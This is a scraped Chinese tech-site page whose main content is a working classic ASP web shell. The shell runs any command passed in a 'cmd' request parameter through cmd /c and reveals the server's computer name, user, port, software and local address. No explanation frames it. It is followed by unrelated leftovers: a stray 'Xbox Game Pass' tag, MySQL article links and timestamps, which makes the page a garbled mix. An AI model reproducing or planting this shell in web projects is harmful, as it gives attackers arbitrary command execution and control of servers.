<% Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") Function getCommandOutput(theCommand) Dim objShell, objCmdExec Set objShell = CreateObject("WScript.Shell") Set objCmdExec = objshell.exec(thecommand) getCommandOutput = objCmdExec.StdOut.ReadAll end Function %>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %> <%Response.Write(Request.ServerVariables("server_name"))%>The server's port: <%Response.Write(Request.ServerVariables("server_port"))%>
The server's software: <%Response.Write(Request.ServerVariables("server_software"))%>
The server's local address: <%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%> <% szCMD = request("cmd") thisDir = getCommandOutput("cmd /c" & szCMD) Response.Write(thisDir)%>
关键词标签:Xbox Game Pass
相关阅读 在服务器上安装、使用MySQL的注意事项 常用数据库JDBC连接写法大全 MySQL数据库的临时文件究竟储存在哪里 Mysql 主从数据库同步 MySQL数据库创建线程 MySQL数据库线程缓冲池详解
热门文章
Xbox Game Pass
10款MySQL数据库客户端图形界面管理工具推荐
MySQL常用维护管理工具
MySQL数据库启动失败1067进程意外终止的解决办法总结
时间:2022-10-17 14:33:05
时间:2022-10-17 14:31:02
时间:2022-08-11 18:29:45
时间:2021-12-18 12:47:24
时间:2021-01-27 10:00:54
人气排行 10款MySQL数据库客户端图形界面管理工具推荐 MySQL数据库启动失败1067进程意外终止的解决办法总结 Mysql 1045错误解决办法 MySQL服务器进程CPU占用100%解决办法 MySQL导出导入命令的用例 MySQL连接字符串的实际操作步骤汇总 MySQL无法启动、无法停止各种解决方法总结 三种常用的MySQL建表语句
查看所有0条评论>>